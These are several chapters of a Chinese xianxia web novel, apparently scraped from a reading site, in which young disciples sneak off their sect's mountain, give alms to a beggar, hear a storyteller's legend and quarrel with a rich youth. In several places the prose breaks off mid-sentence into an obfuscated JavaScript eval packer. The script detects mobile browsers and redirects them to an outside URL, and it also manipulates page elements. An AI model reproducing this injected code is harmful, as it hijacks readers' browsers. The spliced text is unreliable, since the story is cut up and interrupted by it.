以为到了今年，琼芳长老总没有理由阻止林惜英下山了吧？结果她又找了一个乱七八糟的理由拒绝了林惜英的请求，而后留给林惜英一个极其潇洒的背影，闭关修炼去了，临行前再三叮嘱林惜英不得出山半步。 想到这儿，洛纤凝仰头望向林惜英，眼睛忽闪忽闪道:“师姐！不如让阿凝带着你私奔吧！” 林惜英:“……” 什么叫等了她一年又一年？也就一年而已，况且她可从未要求过此事。还有，什么叫私奔？ 她正欲开口辩驳，洛纤凝又道:“不对，让阿凝带着你和大师兄一起私奔吧！” “阿凝，你可知私奔二字是何……等等，为何是大师兄，不是二师兄？” 洛纤凝道:“二师兄说他刚从山下回来，懒得再下去了。再说了，为什么不能是大师兄？师姐，大师兄对你是一片真心，真得不能再真了！” 一提起这茬事，林惜英脸色都变了，她冷冷道:“师父说了，我是长绝山未来的长老，不可耽于情爱。况且我对大师兄并无他想，日后不要再提起此事。” 洛纤凝被林惜英冰冷的语气和神情给吓到了，揪住她的衣服下摆，左一下右一下地晃道:“那、那我不提了。哎呀，不说这个了，师姐，你到底跟不跟我一起下山嘛？” “不了，师父不许我下山。” 还是不为所动。 洛纤凝决定使出她的杀手锏。她理了理头发，深吸一口气，站起身，双手叉腰，凑到林惜英耳边道:“我听大师兄二师兄说，山下可好玩了，有很多门派，很多人，很多节日，还有很多好吃的， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“怎么了师姐？”不等林惜英说出第二个字，洛纤凝立马回过头来，抱住了她的胳膊，“是不是舍不得我？想和我一起下山？师姐，我最了解你了，你这人啊，嘴上嫌我吵，但其实一天都不能离开我，对不对？你想啊师姐，我要是下山了，多半就舍不得回来了，到时你至少得有好几个月都看不到我了，那你得多无聊啊，练完剑连个陪你说话的人都没有。唉，太可怜了……” “……” “师姐，你就和我一起下山吧，反正琼芳长老正在闭关修炼，一闭就是好几个月，等她闭关结束，说不定我们已经回来了。到时候你就说是我，不，是大师兄！是他非要拉着你一起下山！你实在是迫不得已，被逼无奈！” 林惜英斜眼看她，挣开她的胳膊:“你倒是将自己择得干干净净。” 洛纤凝眨眨眼睛，问道:“那师姐你是不是答应和我一起下山了？” “我……” “哎呀师姐！”口干舌燥说了半天，林惜英竟还在犹豫，洛纤凝实在没耐心了，抓住林惜英的胳膊就是一顿乱晃，“走吧走吧，大不了回来领一顿罚，无非就是抄抄门规，抄抄经书，扫扫台阶什么的，到时候让大师兄帮我们抄，走吧走吧师姐……” 林惜英被洛纤凝一番举动晃得眼花耳聋，终于下定决心，故作矜持道:“别晃了，我随你下山就是了！” 大不了回来领罚，这个山她下定了！她可等不了明年了，万一明年师父又变卦了可如何是好？ “真的？！”洛纤凝高兴地一蹦三尺高，“太好了师姐！我这就去告诉大师兄，师姐你赶快去收拾收拾，我们一会儿就出发！” 13. 人间1 终于搞定了林惜英，洛纤凝兴冲冲地迈开腿，正打算回缥缈峰将这件大喜事告诉柳惜朝，结果一只脚刚迈出凉亭，就看见前方的一块大石头后面冒出一颗熟悉的脑袋……竟然又是沐辰风！ 只听沐辰风无比兴奋地大叫道:“好啊洛纤凝！你竟然要撺掇林师姐下山！我这就告诉掌门去！！” 原来沐辰风自昨日抄完经书回到赤霞峰后，夏长殷便找了过来，又是嘲讽他癞蛤蟆想吃天鹅肉，又是在背后诋毁洛纤凝和林惜英。沐辰风想去找扶光长老告状，但又苦于没有证据，只好忍了，可就在方才，夏长殷竟然又找了过来，对着他冷嘲热讽个没完……他实在没忍住，对准夏长殷的脸就是一拳。 事后二人被扭送到了扶光长老面前，扶光狠狠地批评了二人一顿，命二人各去抄五十遍门规。沐辰风生平最讨厌的便是抄东西，当即便狠声道:“不必了！我现在就离开长绝山！你们这破地方我不待了！”他气咻咻地找到沐灵泽，将此事告知于他，沐灵泽讶然道:“你真的要走？” 沐辰风恼火道:“反正这破地方我是一天都待不下去了，我要下山去游览大好河山！再说了，待在这儿干嘛呀？你不是已经见到琼芳长老了么？你要是不想走的话，我走了！不过我走之前得去翠竹峰跟林师姐道个别，你慢慢考虑吧，我先去翠竹峰了，一会儿再来找你！” 说罢也不管林惜英想不想见他，鬼鬼祟祟地溜上翠竹峰，远远地就望见了洛纤凝懒洋洋的背影，一看就是去找林惜英。他跟了过去，躲在了上次的那块大石头后面，竖长耳朵仔细听着凉亭下那两人的对话，本来也没指望能听到什么，怎奈何洛纤凝声音太过洪亮，教他不想听见都不行。 他想，原来林惜英从未下过山，是因为琼芳长老不许，而洛纤凝竟然要趁琼芳长老闭关，撺掇林惜英下山！这真是……太好了！如此一来，他岂不是可以与林惜英结伴而行了？！ 洛纤凝一门心思想着撺掇林惜英下山，哪里料到竟有人躲在暗处偷听她们的对话！一时间，她又惊又怒又怕，拔腿就朝沐辰风奔了过去，喊道:“沐辰风！你怎么在这儿？！把你的嘴给我闭上！不然我掐死你！！” 这要是被唐惜柔听见，林惜英就别想下山了。 沐辰风隔着石头，边躲边道:“除非你带我一块儿下山，不对，还有阿泽！除非你带我们兄弟俩一块儿下山，我就不告诉掌门了！” “我们下山历练，关你们两个什么事？！凭什么要带上你们？！” “因为……因为你们厉害啊！我们兄弟俩本来就是出来闯荡江湖的，和你们一起，路上也好有个照应，多好！” “好什么好？！我看你就是想觊觎我师姐的美色！你这个登徒子！” 两个人绕着大石头你追我躲，林惜英走上前来，沐辰风慌忙扑到林惜英面前，哀声恳求道:“林师姐，你就带上我和阿泽嘛，我保证，我们两个绝对听你们的话，绝对不拖你们的后腿！” “不带！就是不带！”洛纤凝追了过来，抓住沐辰风的后领就要将他扔下翠竹峰，“师姐你别听他胡说八道，他要是敢去告状，我就狠狠地揍他一顿，再把他扔出长绝山！” “谁说我不敢！”沐辰风推开洛纤凝，挺直腰板道，“你看看我脸上的伤，都是那个夏长殷打的！反正你们这破地方我是一刻也待不下去了，我不怕得罪你们！我这就去缥缈峰，将此事告诉掌门！”说罢转身就要走，林惜英喝道:“站住！” 沐辰风脚步一滞，心中狂喜。 林惜英道:“随你们的便。” 她可不想整日和柳惜朝大眼瞪小眼，人多也好，省得他日日都将眼睛放在她身上。 沐辰风闻言，大喜:“好！我这就去告诉阿泽！林师姐你们一定要等着我们！” 望着沐辰风那左摇右摆、欣喜若狂的背影，洛纤凝很是不解地问林惜英:“师姐，你真的打算让他们跟着我们？” 林惜英可不好将内心所想告知洛纤凝，思忖片刻，违心道:“人多，热闹。” “……什么？热闹？师姐，你不是最不喜欢热闹么？”洛纤凝眼也不眨地盯着林惜英，以为自己的耳朵出现了问题。她没有想到，有生之年竟能从林惜英的口中听到“人多，热闹”这四个字。她转了转眼珠，忽然一脸戒备地凑到林惜英耳边，小声问道:“师姐，你该不会喜欢沐辰风吧？” 林惜英霎时脸色一沉:“怎么可能？你脑子里一天都在想什么？” 她会喜欢沐辰风？还不如去喜欢柳惜朝，至少柳惜朝看起来正常一些。 “那是为什么？”洛纤凝皱眉道，“难不成你真的怕他向我师父告状？这不太像你呀师姐。” 林惜英仰头望着蔚蓝的天空，故作镇静道:“迟则生变，我……先回房间收拾行囊了，你也快些去吧。”语毕，溜得飞快。 洛纤凝:“……” 怪哉，真是怪哉。不过师姐不喜欢沐辰风就好，否则她一定掐死那家伙！ 对于洛纤凝想下山历练这件事，洛逍的回答是:“你赶紧下山去吧姑奶奶！赶紧让山下的人教教你什么叫人间险恶！灭灭你这不可一世的气焰！省得你日日待在山上给我惹事生非，扰我清净！” 这老头，竟如此迫不及待地想她消失。洛纤凝露出了一副不太愉悦的神情，吸吸鼻子，道:“走就走，那我收拾包袱去了。” 洛逍嘴上虽然巴不得让洛纤凝赶紧消失，但心里到底还是有几分不舍，眼瞅着洛纤凝的背影越来越远，忙追出殿外喊道:“路上小心！记得为师教你的，遇到危险，打不过就跑！” “知道啦！”洛纤凝头也不回地应道。 “好好听你大师兄的话！最迟三个月，必须回来！” “知道啦知道啦！”洛纤凝喜滋滋地扁了扁嘴，心道这老头真是嘴硬心软且啰嗦。她一边跑一边开怀大叫道:“我洛女侠要下山去抓妖怪啦！！” 得知林惜英愿意下山，柳惜朝高兴得无以复加，立刻收拾好包袱，并找到陆惜名，再三叮嘱道:“新弟子就交给你了，师兄我去去就回。” 陆惜名颤颤巍巍道:“大师兄，这……恐怕不太好吧？若是让琼芳长老知道你拐走了她的得意弟子，她不得打断你的腿？” 柳惜朝道:“无妨，就让她打断我的腿吧，不对，什么叫拐走？我们是下山历练！记住，惜名，你什么都不知道，什么都没看见。告辞！” 陆惜名:“……” 告什么辞？说得好像不回来了似的。 于是，青天白日，朗朗乾坤，几个人猫着腰，做贼似的聚在一起，御剑飞向远处。一路上，山川河流，茂林修竹，飞禽走兽，甚至还有修行之人在林中斗法，以至落叶纷飞……一切的一切，尽在他们眼底。 洛纤凝第一次下山，见此情景，大为震撼，忍不住叹道:“师姐你看！人间好美啊！” 林惜英唇角一动 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15330477|166943||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，心道:“确实很美，和十年前一模一样。” 余光瞥见不远处有一只小小的鸟儿，洛纤凝拐了个弯，凑到了鸟儿身边，笑嘻嘻道:“鸟儿你好呀。” 半空中突然出现一个庞然大物，鸟儿吓了一跳，浑身的毛都竖了起来，拼命扇动翅膀灰溜溜地逃去了一边，生怕被这庞然大物给捉住。 沐灵泽跟在洛纤凝身后，见状，悄无声息地笑了起来。想他长这么大，还从未见过像洛纤凝这般明媚可爱的女子，虽然有时有些骄横跋扈不讲理。就在方才，沐辰风跑来告诉他，洛纤凝和林惜英要下山历练，问他要不要一起。他当然要一起了，立时二话不说，以家中有事为由，向洛逍提出了离开长绝山的请求。反正他已经见过琼芳长老了，之所以继续待在长绝山，完全是为了……为了什么，他自己也说不清楚。 不出意外，洛逍惊讶了一瞬后，冲他摆手道:“既然家中有事，那就不留你了，走吧走吧。” 那语气，恨不得他立刻消失。 他抽回神来，听见洛纤凝喊道:“大师兄！我们去哪儿呀？你不是说山下有三个国家么？我们去……” “去天权去天权！”沐辰风抢答道，“天权四季分明，景色最是宜人，我们兄弟二人一直都想去天权，但从来没有去过呢！” 其实是想看美女，听说南国出美人，他可不能错过，没准此行能遇到一个貌美如花的小姑娘，吵着闹着要跟他回天璇呢！ 沐灵泽浑然不知沐辰风心中所想，道:“我附议！大师兄，林师姐，天权疆土辽阔，人多，妖也多，而且离长绝山最近，去那里最好不过了！” 柳惜朝看向林惜英，想询问她的意见:“惜英，你觉得呢？” 林惜英道:“阿凝想去何处，便去何处。” 洛纤凝道:“当然是去人最多、风景最好的地方了！” 柳惜朝一锤定音:“好！那就去天权！” 天权地处黎江以南，地大物博，四季分明，景色宜人，不似天启，只有夏、冬二季，乃是长绝山弟子下山历练的首选之地。 春日的阳光洒在大地上，一切都仿佛被镀上了一层金色的光辉。嫩绿的树叶在阳光的照耀下闪闪发光，如同无数颗小星星点缀在树枝上。微风轻轻吹过，令人心旷神怡。 五个人进了城，三三两两地走在大街上，洛纤凝如兔子一般，一会儿窜到这个小摊前，一会儿又窜到那个小摊前，沐灵泽跟在她身后，悉心地为她一一讲解。柳惜朝与沐辰风则陪在林惜英身边，警惕地望着周边每一个朝林惜英投来异样目光的男子，生怕林惜英被他们抢了去。 见林惜英的目光落在了一个卖发簪的小摊上，柳惜朝观她神色，知她喜欢，正欲开口询问，怎料被沐辰风抢了先:“林师姐，你长得这么好看，戴个发簪，一定更好看！” 摊主也不遗余力地夸赞道:“哎呀！这位姑娘长得真俊呐！这人长得好看，戴什么都好看！姑娘，您瞧这支怎么样？这可是本摊的镇摊之宝，只此一支！姑娘这样的大美人，自然要配最好的东西！您瞧这颜色，这图案，您想上别处去买那都没有！” 林惜英还未答话，沐辰风便十分大方地道:“就这支，我要了！” 柳惜朝:“……” 林惜英:“……我不要，你自己戴吧。” 沐辰风:“……那算了，我也不要了，你自己戴吧。” 摊主:“……有病吧你们！” 14. 人间2 五个人在街上乱窜了一会儿后，想找一家客栈歇脚，没走几步，就看见前方走来一个满头白发、衣衫褴褛、面容脏污的老乞丐，一只手拄着一根细细的拐杖，一只手拿着一个破碗，走起路来左摇右晃，像是下一刻就要摔倒在地，嘴里嚷嚷着:“人见白头嗔，我见白头喜，多少少年亡，不到白头死……” 声音不大不小，正好周围的路人都能听到。 洛纤凝上下打量着那老乞丐，低声对林惜英道:“师姐，你瞧，莫非这便是传说中的叫花子？” 林惜英:“应当是吧。” “哪位好心人给老头子施舍一口饭吃，老头子已经三天没吃饭了！”老乞丐有气无力地喊道，突然眼前一亮，加快脚步，一把捉住路边一个穿着体面的中年男子的手臂，佝偻着身子乞求道:“给点钱吧这位小兄弟……” 一只脏手突然抓在了自己的新衣服上，中年男子仿佛见了瘟神一般，立刻抬起腿，一脚将那老乞丐踹去了一遍，拍着自己的衣服骂道:“滚一边去！你这个疯乞丐，晦气死了！再敢抓老子的衣服，老子剁了你的手！！” 敢当着她洛女侠的面欺负弱小，真是好大的胆子！洛纤凝松开林惜英的胳膊，风风火火地朝那老乞丐奔了过去，将人从地上扶了起来，面朝男子破口大骂道:“喂！你这人怎么这样？！你不给钱就不给钱，你踹人家做什么？！” 见是一个十六七岁的小姑娘，身后还跟着几个和她年纪相仿的少年，男子收敛了怒容，好言相劝道:“姑娘，你是外地来的吧？你不知道，这疯乞丐年轻时也不知道受了什么刺激，如今沦为乞丐，日日嘴里喊着什么不到白头死，听着就晦气！而且真不是我胡言乱语，凡是靠近过这个疯乞丐的人，三日之内必遭灾祸！我劝你们几个可不要多管闲事，这人可是个谁碰谁倒霉的扫把星，赶紧让他死了算了吧！” 以为这少女听见“晦气”“倒霉”这样的字眼会远离那疯乞丐，哪知她竟越发恼怒，指着他的鼻子道:“你这人怎么说话呢？！救人一命胜造七级浮屠！什么叫赶紧死了算了？！” “……我懒得理你们！你们随意！”男子扔下这句话，扬长而去。 洛纤凝转头看向老乞丐，语气放温和道:“老伯，您没事吧？没摔着吧？” 老乞丐摇摇头，道:“我没事，谢谢你啊小姑娘。”又拿出自己的破碗，伸到五人面前，“给点钱吧少年们，老头子我已经三天没吃饭了。” 三天没吃饭？这老头真是太可怜了。洛纤凝于心不忍，将手伸向柳惜朝:“大师兄，快，把钱袋给我！” 柳惜朝自然不好拒绝，解下腰间的荷包，递给洛纤凝。洛纤凝手指探进去，抓了好几枚铜钱，轻轻地放进了老乞丐的破碗里。林惜英和沐灵泽见状，也从各自的荷包中摸出了几枚铜钱放了进去。沐辰风本不想理这脏乞丐，毕竟他从小到大见过的乞丐没有一千，也有八百了，但瞥见林惜英都出钱了，也不好让她将自己看扁，只好摸出几枚铜钱，瞄准那破碗，“嗖嗖”几声扔了进去。 老乞丐感激涕零地望着五人，声音沙哑道:“还是少年们心肠好啊，好人有好报，老头子我祝你们长命百岁！” “谢谢老伯！”洛纤凝声音雀跃道，像百灵鸟一般。 这可是她下山以来做的第一件好事，感觉真不错。 老乞丐拄着拐杖，一瘸一拐地朝街旁的一家包子铺走去，五个人也进了一家酒楼，想着太阳快落山了，先填饱肚子再说。 酒楼内人来人往，热闹非凡，小二为五人端上了酒和菜，洛纤凝很是猴急地捧起面前的酒，仰起头朝口中灌下，但不过须臾，她就“噗”的一声将口中的酒全都吐了出来，一脸苦涩道:“这就是大师兄平日里喜欢喝的酒？这也太难喝了吧？！” 一股奇奇怪怪的味道，辣得她舌尖疼。 柳惜朝品尝着口中的美酒，摇摇头不说话，沐灵泽和沐辰风哈哈大笑了起来。 沐灵泽嗅了嗅手中的酒，闭上眼睛道:“酒就是这个味道，你喝习惯了就好了，这就跟茶一样，起先不觉得好喝，但时间久了，你就会发现，它的味道，很是销魂呢！” 洛纤凝瞪他一眼，道:“销个鬼的魂啊，难喝死了！” 见洛纤凝如此表情，林惜英颇为好奇地端起酒杯，往鼻子跟前凑了凑，还未来得及品尝一下，洛纤凝已伸手将她的酒杯夺去了一边:“别喝了师姐，我替你尝过了，一点都不好喝，还是喝茶吧。” 林惜英:“……” 五个人拿起筷子大吃特吃了起来，说书先生在楼下一拍醒木，大声讲道:“传说！在遥远的上古时期，天界有八位上神，分别位列八方，统领天界众仙！其中两位上神，神力远超其余六位，被称为天界战神！他们，一位名唤曦昀，一位名唤星灼！ “战神！听起来是不是很厉害？只可惜魔界有位魔头，比两位战神加起来还要厉害！他！就是魔王湮月！开天辟地以来，这世间最强大、最可怕的存在！其身，乃是金刚之身，刀枪不入！堪称打遍三界无敌手啊！ “七千年前，魔王湮月引北海之水水漫人间，趁众仙下凡驰援人间之时，带领魔族攻上天界！偌大的天界，被其用九幽业火烧成了一片废墟！ “最后，曦昀上神以身为饵，将湮月从天界引到了穹山。只听“砰”的一声巨响，曦昀上神被湮月一掌劈在了穹山上，劈得浑身上下鲜血淋漓，那叫一个惨不忍睹！以至于穹山险些拦腰折断！ “湮月一心只想杀了曦昀上神，等他反应过来自己被引上穹山时，已经晚了！讲到这儿，可能有人要问了，穹山是什么地方？曦昀上神为何要将魔王引到此地？ “穹山！乃是由创世神的身躯所化，是这天地间灵气最盛的一座仙山！古籍记载，此山位于大荒一隅，终年飘雪，严寒至极，非凡人所能踏足！即便湮月的九幽业火再厉害，到了穹山这等严寒无比的地方，也是无法燃起来的！ “眼看曦昀上神神力耗尽，湮月也即将逃离穹山，就在这时，七位上神及时赶到，与曦昀上神一同开启诛魔阵，欲诛杀湮月！不幸的是，湮月麾下的六位大将此时也赶了过来，从背后偷袭八位上神。故事的结局就是，八位上神与魔王及六位魔将同归于尽！” 说书先生的故事讲完了，酒楼内一时间吵吵嚷嚷，喧哗不已。洛纤凝啧啧叹道:“唉，八位上神死得可真惨，这个湮月，真是太坏了！” “就是，”沐灵泽愤愤道，“你们说他干嘛非要挑起战争？好好过日子不好 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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沐辰风则满脸鄙夷，道:“这还用问么？魔王那么厉害，当然是男身了！难不成还是个娇滴滴的女身？！” 洛纤凝听了这话，立时火冒三丈:“沐辰风！有本事你再给我说一遍！我倒要看看，我们两个谁才是娇滴滴的那个！”说着飞起一脚踹到了沐辰风的屁股上，又举起拳头朝沐辰风砸了过去。 沐辰风大叫一声，溜到沐灵泽身后躲了起来，骂道:“我又没说你！你这么生气干什么？！你这个野蛮粗鲁的女人，当然和娇滴滴这三个字不沾边了！” “你说什么？！”洛纤凝咬牙切齿道地追了过去，“沐辰风！你这个贱人！看我今天不踹死你！” “阿阿阿……阿泽救我！”沐辰风惨叫道，抓住沐灵泽的胳膊就是一顿乱晃，周围的百姓都朝他们几个看了过来，像看猴子一般。 沐灵泽张开双臂挡住洛纤凝，好言劝道:“别生气嘛，你看，这么多人看着呢，再说了，君子动口不动手……”说到这儿他突然不说了，因为他想起了洛纤凝的那句——“能动手就别嚷嚷”。 柳惜朝见状也劝道:“好了你们三个，别闹了，别让人看笑话。” 洛纤凝这才作罢，狠狠地剜了沐辰风一眼，转到了林惜英的身侧。 15. 人间3 五个人继续往前走，柳惜朝就方才的问题回答道:“其实魔王既非男也非女，但因其相貌丑陋，声音粗犷，身形彪悍，所以世人大都觉得他是男身，很多书里也是这样写的。没办法，有些人有些事，时间一长，传着传着，总会变样。” 相貌丑陋？声音粗犷？洛纤凝闻言，倚在林惜英肩上哈哈大笑了起来，边笑边往沐辰风身上瞅，果然，沐辰风不满道:“大师兄！你这话就不对了！什么叫相貌丑陋，声音粗犷，身形彪悍，就是男身？！她们女人长得又粗又丑的也有很多好吧？！” 柳惜朝轻咳一声，道:“这话不是我说的，我也是幼时听我师父和琼芳长老说的，应当……不会有假。” 沐辰风:“……” 洛纤凝斜了沐辰风一眼，提高声音嘲讽道:“真不知道魔王这种东西有什么好争的，不知道的还以为你是魔王生的，哦，瞧我这记性，魔王若是男身，连个鸡蛋都生不出来，更别提人了！你说对吧，师姐？” “你你你……”沐辰风又急又怒道，“你们女人不也是生不出鸡蛋？！” 洛纤凝道:“这话你就要去问你娘了，你娘为什么要辛辛苦苦生出你这么个听不懂人话的不孝之子？还不如生个鸡蛋算了！” “你……我怎么又成不孝之子了？！” “你们都别吵了！”沐灵泽伸出双臂将两个人隔得远远的，“魔王是男是女，跟咱们有什么关系？吵这些有什么用？！不管他是男是女，只要他为祸三界，为祸人间，那就是咱们的敌人！” 柳惜朝道:“沐师弟这话说得对，你们两个都学一学，别整天为了一点小事吵来吵去，伤了和气。” 沐辰风:“切！” 洛纤凝:“切！”切完之后，她低声问林惜英:“师姐，你说我骂得对不对？” 林惜英脱口道:“对。” 洛纤凝露出了心满意足的笑容，抱紧林惜英的胳膊，并蹭了蹭脸颊:“还是师姐好。” 为了省钱，五个人订了三间房，三间房都紧挨在一起。 夜里，洛纤凝躺在林惜英身侧，叽里咕噜说了一大堆方才在街边的见闻，还有酒楼的菜真好吃之类的，最后又问道:“师姐，你真的不喜欢大师兄？” 林惜英双眼微闭，声音平静:“不喜欢。” “……哦，那你喜欢谁？” “谁也不喜欢。”林惜英睁开眼睛，有些困惑地看向洛纤凝，“为什么一定要找个人喜欢？我有你和师父就够了。” “……也对哦，为什么一定要找个人喜欢？”洛纤凝深以为然地咀嚼着这句话，然后道:“我们两个将来可是要修成仙的！睡吧睡吧，睡醒后去问问城里哪儿有妖怪，我们去捉妖怪！” 洛纤凝闭上眼睛，陷入了甜甜的梦乡，梦里她行走人间，斩妖除魔，行侠仗义，被一群百姓围在中间叫大侠，被她捉住的那几只妖怪跪在她的面前，求她饶命…… 林惜英向来起得不早也不晚，每天天一亮就准时睁开了眼，一转头就看见……一只脚丫子。 林惜英:“……” 她很是无语地揉了揉眉心，正要披衣下榻，就听见床尾传来一声:“妖怪！哪里逃？！吃我一脚！！”话音未落，旁边的那只脚丫子就已毫不留情地朝自己的脸踢了过来…… 林惜英眼皮一跳，立刻抓起外衣披在身上，从床榻上跳了下来，按住眉心道:“好险，以后还是一个人睡比较妥当。” 洛纤凝一脚踢了个空，反倒把自己给惊醒了。她从床榻上爬了起来，眯着眼睛东张西望了一阵后，终于看清了站在地上的林惜英。她揉了揉眼睛，问道:“师姐，你什么时候醒的？你怎么光着脚站在地上？” 林惜英:“……你猜。” “……奇怪，我怎么从床头睡到了床尾？”洛纤凝挠头皱眉道，随即嘻嘻一笑，“师姐，你没事吧？没有被我踢到吧？你放心，以后我一定好好睡觉，不会再有下次了！” 林惜英不语，系好腰带，坐回榻上，穿起了靴子。正好柳惜朝和沐灵泽沐辰风也醒了，五个人一起下楼用早饭，顺便跟店小二打听了一下哪儿有妖怪。 店小二摇摇头道:“最近……没听说哪儿有妖怪。” 洛纤凝顿时泄了气，匆匆吃完包子后，拎起佩剑就朝大街上跑去，逢人就问: “这位大哥，你知道哪里有妖怪么？” “这位大姐，你知道哪里有妖怪么？” “这位大叔，你知道哪里有妖怪么？” “这位大婶，你知道哪里有妖怪么？” 被她问到的路人纷纷摇头摆手，表示自己不知道。 沐灵泽与沐辰风并肩而行，不远不近地跟在洛纤凝身后，笑得上气不接下气。柳惜朝则陪林惜英落在最后，时不时看林惜英一眼，像是在思考什么。 终于，他不再犹豫，从袖中摸出一支发簪，咬牙递给林惜英:“惜英，这个给你。” 林惜英正走得好好的，欣赏着街边林立的高楼，和行人脸上的笑容，忽然，一支很是眼熟的发簪挡在了她的面前。 她脚步一顿，认出了那支发簪——是昨日沐辰风扬言要给她买的那支，上面雕刻着玉兰花的图案，花瓣纹理细腻逼真，银质的花蕊在日光下闪烁着细碎的光芒，简约而不失高雅。 她只是出于好奇多看了一眼那些簪子而已，觉得都长得一样，无甚区别，并没有多喜欢，没想到柳惜朝后来又折回去买了下来。 她大好的心情瞬间少了一半。好奇怪，她竟然没有一丝感动，反而觉得他故意想让她难堪。 柳惜朝忐忑不安地期待着林惜英的反应，见她神色一如往常，盯着那支发簪许久都不曾说话，便知是他自作多情了。不过幸好他早有准备，强颜欢笑道:“不喜欢的话可以直接告诉我，我不只给你买了，还给阿凝买了，你们两个都有。”说着又从袖中摸出一支，“你看这两个，你喜欢哪一个？你比阿凝年长，你先挑。不过我还是觉得你更适合玉兰花，这支凌霄花，倒适合阿凝。” 林惜英这才伸手接下发簪，扯了扯嘴角:“那就多谢大师兄了。”将发簪揣进了袖中。 柳惜朝笑而不语。 两个人抬脚往前走去，将目光遥遥地落在了洛纤凝的身上。 洛纤凝依旧在认真地四处打探妖怪的下落，沐灵泽实在看不下去了，疾走两步追上她，道:“喂喂喂，洛纤凝，哪有你这样的，到处问哪儿有妖怪，这附近若真有妖怪，早就人尽皆知了好吧！” 洛纤凝止住脚步，回身看他:“那你说怎么办？上哪儿去找妖怪？” “妖怪不是找出来的，而是自己蹦出来的！” “那它什么时候蹦出来？” “这我怎么知道？”沐灵泽又好气又好笑，“我又不是妖怪！” “……那怎么办呀？”若不是大街上人多，洛纤凝此刻早已一屁股坐在地上了。她蹲在地上撑着下巴，对着天空一阵叹息，忧愁之情溢于言表。 沐灵泽无奈地摇摇头，将目光转到了一旁卖竹蚂蚱的小摊上，本想买几只送给洛纤凝，毕竟她最喜欢与虫子为伍了，怎料还未来得及付钱，就听见洛纤凝“啊”的叫了一声。” “ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15461312|166943||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ……喂！”洛纤凝还未回过神来，沐灵泽就抢先一步扶住她，冲那锦衣华服的少年喊道，“你这人怎么走的路？！这么大个人看不见啊？！” “就是！”沐辰风此时也跑了上来，冲那少年嚷道，“你这人怎么走的路？明明看见前面有个人，还要往上撞，眼睛长在脚底啊？！” “大胆！”沐辰风话音刚落，锦衣少年身后的一名大汉就厉声喝道，“明明是这位姑娘撞到的我家公子！竟敢对我家公子不敬！你知道我家公子是谁么？！” 三个人这才看清，这少年身后还跟着两个浓眉方脸、满脸胡茬的粗壮大汉，眼睛一个赛一个小，两个人的怀中都抱着一把又宽又长的大刀，像极了话本里杀猪的屠夫。 再看中间那少年，大约十七八岁的年纪，生得高鼻小眼，一脸奸相，手里摇着一柄折扇，十足的轻佻浪荡模样。 洛纤凝越看越觉得此人不顺眼，心中嘀咕道:“这人怎么跟夏长殷一个德行，喜欢用鼻孔看人？真想把靴子脱了塞他两个鼻孔里！” 沐灵泽才不管他是谁，声音强硬道:“我管你是谁！你撞到了人，就得道歉！” 锦衣少年闻言，嗤笑一声，将目光从洛纤凝脸上移开，摇着扇子道:“看背影还以为是个美人儿，看来是我想多了。我们走吧，莫要与他们一般计较。” 什么？！洛纤凝瞬间暴怒，抬脚追了过去，声音如一道惊雷，在少年耳边炸开:“站住！我让你走了么？！你这个登徒子！敢撞本姑娘，找死是吧？！” 她方才不过一个转身的功夫，就被这人撞得肩膀一痛，还以为是哪个路人不小心撞的，没想到竟是故意的！还倒打一耙，真是岂有此理！ 周围的百姓似乎都被洛纤凝这一嗓子给吼到了，纷纷放慢脚步，驻足于侧，想一探究竟。 少年无视周围人的目光，摇着扇子转过身来，眉头一皱，道:“我登徒子，我找死？”说着看了一眼身旁的两名大汉，“你们两个，告诉她，我是谁！” 他右手边的那名大汉收到命令，昂首挺胸道:“这位！可是我们……” “我管你是谁！”洛纤凝可没工夫听他自报家门，劈头盖脸就是一顿吼，“你就算是天王老子，撞到本姑娘，也得道歉！” “对！道歉！”沐灵泽和沐辰风异口同声道。 “哟！”少年扇子一合，眉眼带笑地扫了三人一眼，似是觉得十分有趣，“看不出来，脾气还挺大。我要是不道歉呢？你们又当如何？” “那我就打到你道歉为止！”洛纤凝说罢便要拔剑，就看见林惜英和柳惜朝拨开人群跑了过来。 “怎么回事？”林惜英和柳惜朝奔到三人身边，急切地问道。他二人方才不过是在街旁的小摊上停留了一小会儿工夫，这三人就出事了。 柳惜朝看了眼洛纤凝，最终将目光定格了在面前的锦衣少年身上。 瞧瞧这身打扮，还有身后那两个明显会功夫的大汉便知，此人非富即贵，应当是个不好惹的，搞不好是此处的地头蛇。 